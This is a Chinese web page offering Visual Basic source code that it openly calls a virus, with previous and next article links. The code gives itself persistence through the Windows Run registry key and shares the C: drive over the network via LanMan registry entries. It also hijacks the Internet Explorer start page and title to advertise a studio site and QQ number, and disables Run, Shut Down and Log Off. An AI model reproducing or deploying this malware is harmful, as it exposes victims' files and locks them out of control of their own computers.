| |
病毒的vb原代码
Option Explicit
Private Sub Form_Load() '加载病毒
On Error Resume Next
If App.PrevInstance Then '判断如果病毒已经运行则不运行第二个
End
End If
MsgBox "郴郴提供用于的VB病毒源码,请小心使用", vbApplicationModal, "友情提醒"
Dim Mypath
Mypath = App.Path & "\" & App.EXEName & ".exe" '病毒本身
Dim Writereg
Dim Wsh_shell
Set Wsh_shell = New IWshShell_Class
'共享C盘 通过写注册表实现
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "http://www.flyy.net", "REG_SZ")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Flags", "302", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Type", "0", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$\Path", "C:\")
'禁止在电脑上的常规操作 IE修改
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.flyy.net")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "飞雨设计工作室欢迎你!QQ:276679490!")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose", "01", "REG_DWORD")
Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff", "01", "REG_DWORD")
|
| |
| ·上一篇文章: |
| ·下一篇文章: |
|
| |